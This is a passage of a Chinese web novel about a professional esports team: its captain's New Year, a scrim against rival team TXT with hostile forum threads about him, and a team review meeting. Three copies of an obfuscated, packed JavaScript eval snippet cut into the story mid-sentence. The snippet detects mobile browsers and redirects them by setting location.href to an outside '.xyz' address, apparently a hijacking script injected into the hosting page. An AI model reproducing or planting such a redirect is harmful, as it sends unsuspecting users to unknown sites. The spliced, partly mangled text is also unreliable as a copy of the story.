“可我才抢了红包哎。”顾听又把手机拿起来,游迩的好友申请孤零零地挂在界面,头像居然是一只白底简笔画的卡皮巴拉。 他修长的手指微动,通过了好友。 “你加啦?”彭于渺瞧见他动作,坐直身体问。 “唔。”顾听点点头。 “所有人做好塔塔开的准备!”陈述紧盯着顾听的手机,如果游迩发来的消息不尽人意,那么他就会把手机抢过来。 等了差不多有一分钟,对面纹丝不动。 “还没发消息?”魏寻也问。 “没呢。”顾听摇头说,群聊里那些人依旧孜孜不倦地发着“谢谢老板”的表情包,游迩也没有回复。 “估计就是单纯的想加好友吧,很正常的事儿,见怪不怪,”彭于渺说,继而蹙眉看着陈述,“你一天天的别给我瞎起哄。” 陈述躲在顾听的身后,应了声,“好的鱼苗姐。” 这件事很快被他们抛却脑后,顾听跨完年回来时路过二楼青训生的训练室,有两个少年对坐着还在训练,游戏界面的光在他们青涩的脸庞照亮。 顾听驻足,无言地站在门外看着他们。 “好刻苦,”顾越手臂攀他肩,“仿佛看到当年的我俩。” 两兄弟才来俱乐部时,对什么事物都充满了积极性,带他们的主教还说两个永动机不嫌累似的。有一段时间二队打新秀赛晋级一队做首发队员时,顾越和顾听一天从早训练到凌晨四点,科比曾见过凌晨四点的洛杉矶,他俩则见过了凌晨四点的上海。 后来新秀赛两兄弟成功晋级,Cross与Listen少年风发的模样第一次在大众中展露。 KG联盟双子星也在这里而诞生。 “嗯。”顾听轻声应。 “怎么不开心啊?”顾越比他高,轻而易举就能薅到隔着冬帽的那头粉毛,“跨年没跨好吗?” 顾听移开训练室的视线到他哥的脸上,薄唇轻轻嚅动。 “我脸上有什么东西?”顾越被弟弟看得略微不自在,摸了摸自己的脸。 “没什么,”顾听长睫下敛掩盖神色,“有点困,想睡觉了,哥。” “明天一点又要开始训练了是吧,”顾越叹了口气,“快去休息。” 顾听转身离开训练室,刚走,那两个青训生摘掉耳机小声交流。 “那就是一队的队长Listen吗?” “粉色头发,应该是了。” “我操,我这个位置的电脑正对着玻璃门,可恶啊我那一波没有打好,被偶像看到垃圾操作什么的也太糟糕了啊!” “......”另一个青训生默默地看他抱头中二发疯。 洗漱完上床,顾听才摸出手机看消息。半个小时前宋星辞给他打了电话,但那时候正在人群中跨年,他没听到,还有其他战队群发的新年快乐,当中混进来一位—— -UNP游迩:新年快乐。 像人机,也像群发。 顾听一个一个地回复,轮到游迩时,他想了想该怎么回复呢。 半晌,他同样打字:新年快乐QvQ。 有种硬装熟人的感觉。 微信的置顶还有一条消息,来自老爸,顾听温吞地点进去看内容。 一大段的对话框里,是提醒他冬季流行感冒高峰期照顾好自己,他和老妈的身体都很好不要担心,老妈新做的辣椒酱明天可能就到了。 过年......回家吗?最后这句话带着小心翼翼地期待。 顾听的心脏一阵一阵地抽疼,疼得他有些喘不过气,可他却不想哭。 时间已经凌晨一点多,距离老爸发来的消息过去三个小时,两口子早就休息了。顾听再迫切地想打电话也得等到天亮,这会儿只能隔着屏幕将消息传达过去,好让父母明天一早就能看见。 宋星辞又给他闪了电话过来,从小一起长大的默契如亲兄弟心有灵犀,“裴律今天找你了没?” 顾听诧异,“找了,你怎么......” “我猜的,这么久了我估摸着这两天他会给你说情况。”宋星辞说。 顾听又把裴律的话给他转述了一遍,宋星辞听完声音有些沉,“阿听,我和你一样,势必坚持到底,我会一直陪着你。” 顾听笑了笑,“你还在外面?” “我早就回寝室了,今天人太多了,”宋星辞说,“你明天要训练吗?” “要的,今年常规赛打的早,二月份开始。”顾听说。 “加油,”宋星辞语气激昂慷慨,“冲啊,你是一只勇往直前的卡皮巴拉!” “好哒。”顾听从先开始的不理解再到欣然接受,轻快地应声。 将近一周寻常的训练,教练组安排了和TXT战队的训练赛,魏寻也听见消息调侃说,此意估计正中周肆下怀。 中不中周肆的下怀说不准,但主动来找SAB打训练赛是TXT管理层的决定。今年的一月下旬会有新秀赛,TXT高价从星核买来打协防位置的谈臻,又从二队筛选出来一个好苗子江津,打算进攻春季常规赛。 退役了两个老队员之后,TXT全凭周肆撑着,有时候在关键时刻,周肆个不靠谱爱说垃圾话的还是能顶半边天。他和魏寻也玩得好,不止一次吐槽再这样下去他要被压垮了,他也要跑路了,来SAB当顾听的小替补。 今天TXT的阵容就有谈臻和江津,那边的管理层本意是想让他俩找找感觉,到时候新秀赛打过之后直接想宣布首发。 “TXT终于要崛起了吗?”陈述调试着自己的外设说。 “再不崛起他们就没得比赛打了,”魏寻也说,“现在改朝换代很快,后浪推前浪,前浪死在沙滩上。” 老韩走进来环顾了下训练室,问道,“樊宇卿还没来?” 彭于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507009|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渺回道,“没呢。” “小听,你再给他打电话试试,我给他打没打通。”老韩低头看了眼手表,已经快到训练的时间。 顾听应声,又给樊宇卿拨电话,依旧没接。 老韩沉着一张脸。 主教岳群手中拿着保温杯,看见老韩乐呵地打招呼,“嘿,今天来监考?” “滚蛋。”老韩挥手说。 “咋了这是,谁惹你了?”岳群扫向一队成员,“你们惹他了?” “我们可没惹韩队啊,教练,”陈述悠悠地说,“是樊哥。” 经陈述这么一提醒,岳群才发现樊宇卿没在他的位置。他顿时和老韩一样的脸色,愤斥说,“上个月两次,这个月两次,要么卡点来要么迟到,什么态度!” “给、给那个TXT的老李说一下,等五分钟,”老韩叉腰说,“五分钟还没到就叫二队的周颂昀来。” “行。”岳群发了条消息过去。 [组队房间-TXT周肆:小听听!] [组队房间-TXT周肆:小听听!] [组队房间-TXT周肆:小听听!] TXT没有任何疑问为什么还不开始,全是周肆对顾听的骚.扰。 [组队房间-SAB顾听:到~] “队长,你理他干嘛呀。”陈述靠近顾听,手背掩嘴,悄声说。 “没关系。”顾听笑了笑说。 [组队房间-SAB魏寻也:搞清楚现状好吗,现在你我敌对关系,禁止与我方队员产生联系] [组队房间-TXT周肆:给你比个中指] [组队房间-TXT鹿野:队长你别这样,我害怕.....] “小听,你去——”老韩刚想让顾听去叫二队的周颂昀,樊宇卿喘着气儿扣了扣门。 “抱歉韩队,教练,我老婆生病了我送她去了趟医院,来晚了。” 是不是借口还带存疑,老韩没好气地说,“归队。” 樊宇卿打开电脑安装外设,顾听坐他旁边,帮他将键盘给插上,顺便告诉组队房间号。他不经意抬眼扫到青年的脸,对方眼底的乌青能赶上熊猫眼,一副精神萎靡没有睡好的状态,感觉下一秒他就会晕过去。 匆匆忙忙地弄好后,两方战队的训练赛正式开始。 老韩走之前将岳群叫出了训练室。 “等他们训练完,直接把训练组所有人叫到会议室开会,”老韩说,“尤其是樊宇卿的战力分析,我要看看他到底在搞些什么。” 岳群点点头。 KG有观战模式,稍微有名气的主播或者路人王就会被推流到前排供玩家观看,类似于不露脸和弹幕的直播。 TXT和SAB刚进入游戏,他们组队的房间便被推送了,目前已有五百多人观战。 投票选图,票数最多的是塞壬小镇,被玩家简称“海城”。尽管观众中不能发送弹幕,可游戏贴吧已经有人开了实时帖子。 游戏社区>>KG联盟>>看帖 1L楼主 我操盗版TXT好心机,这是拿SAB给他盗技术来了【截图】??? 9. 第 9 章 2L SAB输了比赛该骂骂,这么多年竞粉还是辱追,平等地瞧不起全华班任何一个战队。 3L Listen居然不玩儿安雅,选择了西亚椰???我可以理解为杀鸡焉用宰牛刀吗? 4L 我操一进来就看见听粉吹牛逼,KWC打成那个屎样又忘了...... 5L 别再对SAB造神好么,TXT再垃圾也不至于盗SAB的技术好吧 6L 楼主一看就是SAB的粉丝啊【笑哭】,屁股都歪到哪儿了【笑哭】 帖子很快被褒贬不一的评论顶上高楼,弥补了KG观战里无法发送弹幕的遗憾,也不会被房管踢出去,更没有违规词,想怎么喷就怎么喷,恶臭程度堪比厕所。 正如评论所说,顾听这把选择的人物是西亚椰,故事背景里是斗兽场里的战士,在突破手位置上的大招技能为近身搏杀,很适合贴脸,使用枪支弯月,在突击步枪中算是威力较猛的一把枪。 不过打西亚椰适合快战,且需要队内反侵者的严防,操作和技术拉满,风险度很高,普通玩家极少玩他。 第一把SAB掠夺队,TXT防卫队。 开局系统机械女声播报两方基地枪的攻防点,五位角色同时出现贝壳湾。 魏寻也老规矩在基地埋雷,爆破手,顾名思义炸弹专家,这类位置需要熟知KG七张全景地图,找好爆破点进行埋雷,游戏中也会存在被拆雷的过程,所以也要谨防敌人破雷,一个队伍的爆破手懂得权衡利弊得话那么游戏将会胜利一半。 塞壬小镇的资源稀少,不像剩余的六张地图还有有些游戏体验,海城纯纯来考验一个玩家的顶级意识,在职业赛事中塞壬小镇是可供参考的热门图。 “鱼苗姐在三岔路口架好点,我和樊哥前突,”顾听说,“句号小范围的补位,记得鱼苗姐的位置,三岔路口的小道一定有人。” “收到。”陈述回答说。 “魏寻也呢?”樊宇卿问。 “魏哥他......有自己的节奏。”顾听轻笑说。 魏寻也早期突破出身,前战队将他坑得不轻。那年KWC淘汰赛的第一轮,领队临换他下场,让空降而来的选手打首发,他坐了整整五局的冷板凳,只因为他的一条断腿。 领队那时对他说,你那腿不能久坐,我这是为你的健康着想。 魏寻也冷笑,又不是你断腿,我能不能久坐你会知道? 后来转型打爆破,SAB觉得他突破、爆破两手抓,觉得是个不错的好苗子,便果断地签下了他。 往往爆破手没有什么自保的能力,但魏寻也有,故而前期他拼命为队友消耗敌方,埋的雷是意料之外的意外,只有众人想不到没有他埋不到的,后期才会和队友打团。 [SAB-Seek已在珊瑚岛成功爆破TXT-KAI] “谢楷死了,TXT少了一位反侵,”魏寻也尾音上扬,“你们不用害怕被掏菊花了哈。” “额......”樊宇卿发出短促音,对大众评价反侵者其实就是鬣狗的刻板印象仍然感到接受无能。 “B区有人,应该是周肆。”彭于渺说。 “好。”顾听应道。 西亚椰的身后就是马特奥,顾听想沿用老版本的盾牌与枪的机制,让反侵者成为他后背。 但不知道是樊宇卿没理解他的意思还是什么,他只留意了一会儿便持枪离开了,顾听计划的一突二突全然打乱,只好自己上。 B区海景别墅的窗户闪过角色的衣服边角料,确认过眼神,只有周肆会穿这么骚包衣服的人。 顾听唇角微勾,操控西亚椰挥手,以迅雷不及掩耳之势朝楼上扔了几颗震爆弹。 周肆正借助墙壁挡子弹,实际用侧方镜瞄准跑过来的西亚椰,却不料第一视角突然被连续的震爆弹得顿时就看不清楚显示屏的游戏画面,紧接着,耳机中清晰地发出角色逐渐靠近的脚步声。 他步枪换霞弹,对近身突击的西亚椰砰砰开枪。 关键时刻平底锅是非常好用的,西亚椰手拿锅抵挡胸腔,随即一锅给本尼,也就是周肆所操控的突破手脑袋上狠狠一抡,周肆看着都疼,没忍住嘶了声。 本尼眼冒金星,手中的枪都拿不稳,西亚椰耍酷似的掏出爪刀在本尼周围来回跳着鬼步舞。 “哈,你不行啊,伙计!”西亚椰的人物台词欠巴地来了句。 [TXT-宙斯:头发越粉,打人越狠!!] 周肆在全部频道打字发言。 [SAB-Listen:OvO] 256L 【截图】,李涛这波,宙斯咋会跑到B区来啊?他们是防卫队,跨越区域跑图这么深也不怕被SAB摸后排 257L 他想和Listen来波one on one呗,你没看TXT的爆破鹿野在蟹堡严防布控么,目的就是为了牵制Seek,该说不说TXT新加入的选手谈臻和江津今天被安排打配合,难道管理层今年的春季赛就打算派这样的阵容上场? 258L 总而言之言而总之,挺期待春季赛TXT的表现的 259L Listen出招属实让人意想不到啊,狂甩震爆弹上去就是干 260L 今天我就在这儿说了,你可以质疑Listen的任何事情,唯独世一突这个头衔 261L 我他妈吐了【呕】 262L 260L的层主是傻逼吗?听粉滚左转不送 263L 世一突?×,世一拉?√ 264L 听粉一如既往地让人恶心【666】 265L 兄弟我来告诉你什么叫世一突,是垄断欧亚服KG突破手巅峰战力积分、是要让那些韩国人日本人白人黑人被打的哭爹喊娘,是带领SAB走向一个不属于这个时代的王朝,而不是狗都会操作的下饭技术,世一突是谁都能当吗?我还特么世一爆呢 .... 301L 我寻思着为什么吵起来呢,原来就是层主说了句Listen世一突啊,有些人恨顾听真的是恨到骨子里了,曾经的KG联盟双子星就是事实啊,两兄弟谁打得过?怎么还造上谣了......那我问一句,顾听身上的福气给你你要不要? 302L 怎么都在讨论顾听,第一波樊宇卿打的也很拉呀【笑哭】,咋了专挑软柿子捏是吧 303L 我去楼上,你不说我还忘了刚刚本来想喷樊宇卿的,结果评论区给我带偏了,樊宇卿明摆着想打独战,他一个反侵者不去侧突包路偏要走雅典娜神庙,那地方公认的坑点,他脑子在想什么? 贴吧红的白的黑的什么话术都有,没一会儿就被盖上了几百楼,看趋势两边战队训练赛打完后又是千层热帖。 SAB的战绩是要比TXT的好看一点,新来的江津和谈臻两人的意识肉眼可见的顶级,但是才与队友磨合,失误的频率很多,导致看起来他们的战术计划节奏很乱。 “樊哥,椰林资源刷新,我把周肆的防弹背心打穿了,他会同其中一位队友去这里,”顾听商量道,“椰林离他们的基地南纬400米的距离,我和你去拦截他,有机会就摸进去夺枪。” “不行,这样的风险很大,”樊宇卿直接拒绝,“你不要总想着让反侵者去打二突,一股脑地就是莽冲,被包抄了鱼苗和句号赶都赶不过来。” “请听指挥,樊哥。”顾听嗓音惯常温柔,身为队长,这一句带着不容置疑的压迫。 樊宇卿没再说话了,马特奥收起枪背在身后,跑步状态跑向顾听标点的位置,将他心中的不满发泄在键盘上,指尖敲得啪啪响。 椰林的沙滩堆积着集装箱,方便拉镜躲藏。顾听掀起长睫瞥了瞥左上角的地图,移动的黄点是队友,魏寻也正在朝他俩靠拢,他让西亚椰爬到集装箱的最高处,正好捡到一件防弹背心,故意举起来挥舞着。 “杀人诛心啊队长。”魏寻也笑着说。 “周肆哥看见得气死吧。”陈述幸灾乐祸。 另一边,周肆视角。 “这小子尽捡他哥的烂招学!”周肆啧了声。 “队长,硬刚吗?”江津问,“可以稍微借助集装箱掩体。” “那你们谁敢与我一战?” 集体保持沉默。 “你说小津不年轻吧,他敢提出刚枪,”谢楷说,“你说小津年轻吧,他还知道不和你一起去战斗。” “笑话,圈子里没有谁刚枪刚过Listen,他哥与他正突可能都突不过,”鹿野摇了摇头,“Seek过去了啊。” “我来,”周肆沉着地吐出两个字,“我去买个橘子。” 走到一半,周肆发现自己的队友果真一个都没有跟来,震惊地大声说,“你们真不来啊?鹿野你不是说魏寻也去了吗你在原地孵小鸡吗?” “来了来了。”鹿野答应道,角色走得异常缓慢。 KG枪支种类很多,顾听喜欢用重枪,伤害高威力猛,但同时使用鼠标的右手负载重,得控制压枪,保证枪靶不偏不倚。联盟中打突破重枪的少之又少,Cross也不想轻易去尝试,只有顾听和周肆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507010|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他俩这场训练赛都选择黑武士作为自己的枪武器,周肆自知打不过顾听,却依旧想要较量的感觉。 周肆来到椰林集装箱时,顾听已经跳了下来,双方暂时2V2。可冲突还没有开始,右下方就已经显示樊宇卿被鹿野击杀的消息。 “嗯?”顾听根本没有反应过来。 “发生甚么事儿了?”陈述懵逼地问。 “我的我的。”樊宇卿烦躁懊恼地把键盘往前一推,摸了把脸醒神。 “梦游吗。”彭于渺不客气地说。 他们身为掠夺队,几乎跨越地图中间线入侵防卫队的区域,樊宇卿这一死等同于说重新再来,基地隔得老远,除非能找到载具。 989L ?观战樊宇卿好丢人,我女朋友问这游戏是光黑屏吗 990L 哎哟他被TXT的Wilds打死了,爆破手能贴脸反侵者我他妈看笑了 991L SAB的宇宙今天没在状态啊,死了几波了都,我就说全队最大的问题是宇宙你们全在那扯Listen,这一波听黑出来说话! 992L Listen不让他二突屁事儿没有,瞎几把乱指挥 993L 楼上狗叫你大爷呢,没黑硬黑,承认别人有实力很难? 994L 以为众人皆醉你独醒,实际内心阴暗龌龊的一批。顾听被推上赛场成为众矢之的你不提,顾听大号拉开欧服巅峰积分断层你不提,顾听拉当时处于水深火热当中的SAB你不提,电子竞技菜是原罪,扪心自问14岁碾压众人的天才他菜吗? 995L 又来一位死舔狗 996L 听粉狗皮膏药无处不在 997L 这么跟你说吧老弟,SAB三连冠在他手中断送你不提,KWC因为他的失误导致队伍崩盘你不提,哦你们粉丝心疼你家哥哥,谁来心疼一直支持SAB的竞粉呢? 998L 这帖子的楼层我翻完了,确认有引战的舆论,我劝你们及时停止,否则这个贴马上被封我说到做到 999L 你谁啊?霸总小短剧看多了吧 1000L 哎994、998的层主头像和id怎么也是默认原始头像,你他妈的不会是顾听直播间的那个榜一大粉吧? ...... 显然西亚椰无法近身了,鹿野扔雷封锁住顾听的出路,只能围困在集装箱。 “队长你再撑一撑,我们马上到。”陈述说。 “好哦,也可以慢慢来,路上补充一下能量饮料什么的,”顾听聚精会神地看着显示屏说,“对方狙击可能在西纬23度的海神港,反侵、协防不出意外在守基地。” “我去偷家,”魏寻也说,“鱼苗你能解决掉江津啵?” “看情况,我尽量吧,”彭于渺说,“这局对战下来我发现对方狙击很谨慎,全图我就没看见过他露过几次点。” “OK。”魏寻也说。 顾听从背包装备中找出绷带和营养剂,把被炸弹消耗的血量顶上去,仔细聆听耳机里爆炸干扰声中的人物脚步。 他骤然冲出集装箱,鹿野和周肆左右包夹集火,确认位置后他使用黑武士与弯月两把突击步枪分别扫射,随后放出西亚椰的格挡技能消弭掉一些子弹压力。 西亚椰翻了个滚,重新找到废弃的渔船蔽体,左手不停地摁动键轴打开侧方倍镜试探方向。 右耳有细微踩在沙砾上的声音,一枚榴弹滚动脚边。 “有点没完了喔。”顾听含笑轻轻地说,直接用枪击中榴弹,加快了爆炸的速度,而西亚椰从另一边滑跪出来,击杀被他这一操作愣神的鹿野。 快到就跟刚才鹿野击杀樊宇卿一样,没有看清楚什么操作,也没有反应过来。 现在又变成了1v1。 “哇哦,似乎不需要我,”陈述惊呼,“我哼哧哼哧捡了好多医疗箱,还说准备给队长你送来。” “需要的需要的,”顾听戴着耳机点点头,“辛苦啦。” 见鹿野被击杀后,周肆扛着枪迅速撤离,心里吐槽上次用枪击弹的还是Cross,不愧是两兄弟。 当然这一炸固然帅,血条直接见了底,若是周肆肯回头......他不肯回头。 1021L 宙斯你回头看看他呀!你回头看看他我不信你两眼空空 1022L 这帖子咋还没封,那位说大话的逼哥呢? 下一秒。 该帖已被封禁,禁止跟帖与回复。 10. 第 10 章 游戏社区>>KG联盟>>看帖 1L 哟呵,有钱能使鬼推磨,那个帖子真被封了【图片】 2L 估计就是常驻顾听直播间的榜一大粉,超有钱,总决赛过后顾听的榜二榜三都脱粉回踩了,唯独榜一,那晚才开播给顾听刷了一百多万 3L 可不么,砸锅卖铁也要捧扶不起墙的烂泥【奸笑】 4L 楼上注意点语言吧,小心他待会儿把你的号也给封了 5L 猜猜这这则帖子还能存活多久? 6L 【截图】,第一局SAB走向赛点,Listen战绩13-0-6,全队输出最佳,虽然游戏还未结束,但单从这局的训练赛来看Listen确实有点东西,和他在KWC上的状态像两个人似的,搞不懂 7L 哎不知道你们发现没有,KWC法国那一场顾听是有失误,可不至让队伍陷入险境当中,最起码还有补救的机会,明明法国的反侵者Frank都那么明显地掏菊SAB了,宇宙竟然还在原地梦游,跟下了降头一样,让我震惊的是这群人居然只逮着顾听一个人骂【惊恐】 8L 早就发现了,但骂Listen的人太多根本于事无补,樊宇卿身为反侵者,那场比赛队伍的断后工作没有做到,和突破手打配合当后盾也没有做到,黑子也就欺负Listen脾气好,换做是Cross,看到有人骂他弟喷得那些人祖坟都不认识,唉,提起Cross我又伤心了【哭】 9L 【大哭】【大哭】【大哭】 10L Listen为什么性格会那么卡皮巴拉是因为他有个很宠他的哥,所以养成了那种温柔的性格,五年前的Listen性格很刺的。 ..... 陈述赶来蹲坐在顾听旁边,拉开背包,医疗用品如流水哗哗地涌了出来。 医疗箱、肾上腺素、绷带、止痛剂、止血泵......一大堆。 协防者在KG中属于辅助的位置,很多玩家觉得协防者可有可无,小看这个角色,临到关头才想起来队伍中这么一位“奶妈”。往往其余打前线的四个位置不需要过多去捡医疗资源,方便背包腾出空间,然后让协防接济,受伤了就嗷嗷待哺高喊奶妈快来救我! 协防大多数和狙击手打配合,如果狙击手在控制地图上某点的进攻,协防需要看住其余点路来犯的敌人,让狙击手没有后顾之忧,如果敌人进攻势头猛,狙击手敌不过需要转点时,协防者就要第一时间准备好医疗,或者是进行火力的掩护。 “呼,好险,队长你命真大,”陈述将医疗箱给顾听,“一个够吗?不够还有,两个够吗?不够还有,三个——” “够够够的了,”顾听笑着说,“你是松鼠吗囤了好多货哦。” “队长,他没那么可爱。”魏寻也飞快插上一句。 “对。”彭于渺附和。 “你们这群冷漠无情的人,我永远都不会原谅你们!”陈述说完,又小声补充,“除开队长。” 这边相处无比融洽,那边周肆正被队友疯狂讨伐,尤其是鹿野,在关键时刻,顾听一滴血,他竟然都没有击杀中夺得人头,那个心跟猫抓一样痒痒的。 本来周肆还觉得没有什么,话语听进去了越来越懊恼,怎么就不能回头看看呢。 “丝血啊!丝血!”鹿野激动地说,“你跑啥啊?” “谁会想到他会用枪击榴弹?!”周肆非常震惊,“侥幸,这次是侥幸,其实......我觉得也变相于我拿到他的人头了。” 鹿野沉默半天,憋出一句,“呵呵。” 到了半个小时,地图的资源全部停止更新,双方队伍面临积累多少资源的考验,在前期如若被一队压制没捡到资源,后期可以说赢得概率很小。 掠夺队SAB五个人已然侵入防卫队TXT的区域北极岛,离枪的基地仅有一步之遥。 “我去上门开豁口。”顾听说。 “收到。” 北极岛地势较为复杂,一共有四条小道,遍布的各点适合各位置来布控,其中的上门广场在中心,顾听身为突破手,率先开出一条破口好让队友有施展的机会,这时就需要快进攻,无论是剩下四路迅速攻占包点,而后消灭基地的枪。 西亚椰的第一视角在枪支和匕首中不停地切换,一旦有靶位瞄准开枪。 鼠标滑动,画面一帧一帧地略过房区,可能稍不注意会踩中TXT埋的雷,或者转角遇到爱。 TXT-宙斯已在酒吧链接成功击杀SAB-句号。 SAB-鱼苗已在酒吧链接成功击杀TXT-榛子。 “酒吧链接还有人,”彭于渺说,“周肆没跑。” “嗯。”顾听应道。 “我操,鹿野变态吧!”耳机中突兀地传来魏寻也惊诧的声音,“他到底埋了多少雷在枪的基地,我雷达探测仪一直叫。” “全部用上了吧,目的就是为了防你拆雷,”陈述嘿嘿两声,“毕竟你也挺变态的。” “句号,你待会儿直奔魏哥,”顾听说,“帮他补枪。” “嗯,好的队长。”陈述这次被打死有点可惜,和刚刚樊宇卿的情况没有两样,但是不同的是他没有梦游。 上门广场顾听清扫完毕,西亚椰穿过瞭望台和B大道,来到酒吧链接,枪声更加清晰猛烈。这回樊宇卿没等他下指令,见他的角色来便身转二突,彭于渺的狙击替他们打远防。 顾听右手沉稳地操作鼠标压枪,黑武士瞄准前方蔽体的两人。 系统的机械女声播报SAB-Listen完成双杀。 他打了几支止痛剂,说,“走,去A包点。” 222L 这局首次双杀,Listen还是强 223L 从头观战到尾,他的思维很清晰,知道什么时候进攻,什么时候猥琐发育,队友在他的指挥下基本都没怎么死 224L 万一不是他在指挥呢【疑问】 225L 首先,职业战队的队长必须得会指挥,可以说在队伍中就是领袖的存在,懂吗?其次,能问出这种话的也是神人,都没看过KWC吧?最后,我算是知道为什么Listen的黑粉为啥那么多了orz 226L 【截 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507011|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图】【截图】第一局SAB赢了 227L 我操牛逼! 228L 一个训练赛看把你们给急的,这才第一局,后面还有两局,在这儿提前开香槟干嘛呢? 战队私下打训练赛采取BO3赛制,三局两胜,防卫队的枪放在A包点,掠夺队一旦压上去游戏基本宣告结束,防守失败,第一局SAB取得胜利。 后面还有两场,一场TXT掰回来一局,贴吧嘴脸顿时反转,黑粉开始狂欢,结果第三场SAB赢下一局,此时帖子又到了九百多层,眼见全是来喷顾听的,喜提二次封禁。 1L 我操了,这他妈到底是谁啊?!!【长截图】 2L 实时读秒,看看又能存活多久 3L 上回在微博舌战群儒的是默认乱码,Listen直播间的榜一也是默认乱码,你说这人是谁 4L 说起微博那个,先开始我以为他是SAB的粉丝,后面让人扒出来他只点赞Listen一个人的微博,居然混淆视听,还差点被他骗了 5L 正主基础,粉丝就不基础,顾听的几个大粉都有钱,他粉丝喷人老厉害了,我怀疑都是以前Cross的粉移到他弟弟这里来了 .... 148L 而且我一直觉得顾听有点装,打电竞的脾气就没有好的 149L 立的人设啊【笑哭】,你见过哪个温柔的人会染头发还纹身,还他妈染个粉毛,跟90年代的杀马特有什么区别 150L 楼上撑住,他女粉疯得吓人,看见你这么说她们哥哥三下五除二就把你给撕喽 151L 你们没毛病吧,找不到说的了开始攻击形象了?在座的各位染粉毛晚上别把你父母吓死,我操,哪里来的河童,没有镜子总该有尿吧 该帖已被封禁,禁止跟帖与回复。 喜提三次封禁,网友没招了。 下午长达四个多小时的训练赛结束已经六点多,晚饭都还没吃,一队就被领队拉去复盘,开紧急会议。 SAB的队服黑黄色调,上面布满了各类赞助和商务的logo,坐在一起就像是炒糊了的鸡蛋。 老韩和教练先后进门,随之而来的就是数据分析师和副教,白板打开,上面显示的是赛后复盘。 “啊,每次必修,讲完再去吃饭,”老韩翻开笔记本,“来,你们自己先找一下今天的训练赛中有什么问题。” 作为队长,由顾听开始,一一阐述完后,分析师秦封调出五个人在游戏中的数据。 “三场,Listen的战力把把MVP,输出率100%,六边形顶点,失误为0.12%。鱼苗,狙击命中率高达86.9%,六边形中防守较为短缺,失误只有2.54%,”秦封说,“Seek,爆破率96.4%,拆弹率67.1%,六边形团战几乎为0,失误0。句号,补枪率78.94%,医疗资源93.26%,六边形中输出较低,失误5.39%。宇宙......” 樊宇卿各方数据较比四位队友,直接拉低了一个层次。 11. 第 11 章 距离上一次的数据分析还是在KWC比赛完后。 当时一队的五名队员都有各自的缺点和失误,总体相差不大,硬要说的话就是顾听当队长初次带队,经验什么的各方面都要欠缺一些。 而对于选手来说,一次又一次训练的目的是为了能看到弥补自己的漏洞,很显然,数据明白清晰地摆在眼前,樊宇卿不仅没有进步,还倒退了。 “小樊,看你脸色不太好啊,昨晚没睡好?”老韩手中的圆珠笔在笔记本上轻点,看着樊宇卿问。 “不是.......直播完就睡了。”樊宇卿勉强地扯出一抹笑,打了几个小时的训练赛面容的气血更差了。 老韩点点头,“虽然给平台方签了合约,但也不用直播那么晚,你这个迟到的毛病可以改一改了啊,上月还是决赛月,你都迟到了两回,新年新伊始,我希望我们战队的成员可以打起精神来。如果对训练再保持消极态度,青训和二队有很多人想坐在赛场上。” 这一句直白地点题,会议室各位面面相觑,印象中老韩很少会说这类话。常言道避谶,电竞选手本来就是吃青春饭,所以一般都不轻易地提“退役”和“解约”。 谁都有梦想,谁都为了上更大的赛场拼的头破血流。 樊宇卿闻言,脸色唰白。 “TXT的谈臻和江津,你们对战的感觉如何?”老韩翻着笔记本,继续问。 同是打协防的陈述举手,“我之前看过臻哥在星核时候的视频,他很强,而且今天首次与他对战发现他的协防位置很有攻击性,和定位反侵的二突差不多了。” “很多职业选手不单单只会一个位置,谈臻从青训出身时就反侵者,”老韩说,“TXT往年的比赛打得太温和,他们战队就是缺少激进性。” “这跟我有点像啊。”魏寻也打趣地来了句。 “那个江......津?应该是新人,意识和手法看起来都很青涩,”彭于渺沉思说,“不过靶子很准,第三场我穿着三级甲被他用那把怪物大狙狂徒给狙死了,估计是厚积薄发的苗子。” “嗯,下旬新秀赛打过,他们两个就是TXT的首发队员,今天算是摸了个底,”老韩倏地看向顾听,“队长,你有什么要说的吗?” 记忆里,一道郎朗清冽的少年音有条不紊地叙述着,同样的会议室,同样的座位,只是曾经的主角变成了他。 顾越抱手倚在他对面的冠军玻璃展柜,嘴角噙笑,“瞎说,想怎么说就怎么说,一本正经地胡说八道。” 顾听清了清嗓,温吞地说,“我觉得后续可以展开针对性训练,当然不单只对TXT,尽管先前已经将各战队的打法研究透了,但我们的打法始终如一,变动很小,或者尝试一些五个位置两两配合。” “这个提议不错,”主教岳群赞同地附和,“抛去传统模式,没准儿你研究别人的同时别人也在研究你呢。” “春季常规赛二月,二月多久?好像是中旬?”副教问。 “二月十九号。”老韩说。 “还有一个月的训练时间。” 岳群又从赛事视频复盘给他们讲解战术计划,会议结束各个都饿得前胸贴后背。 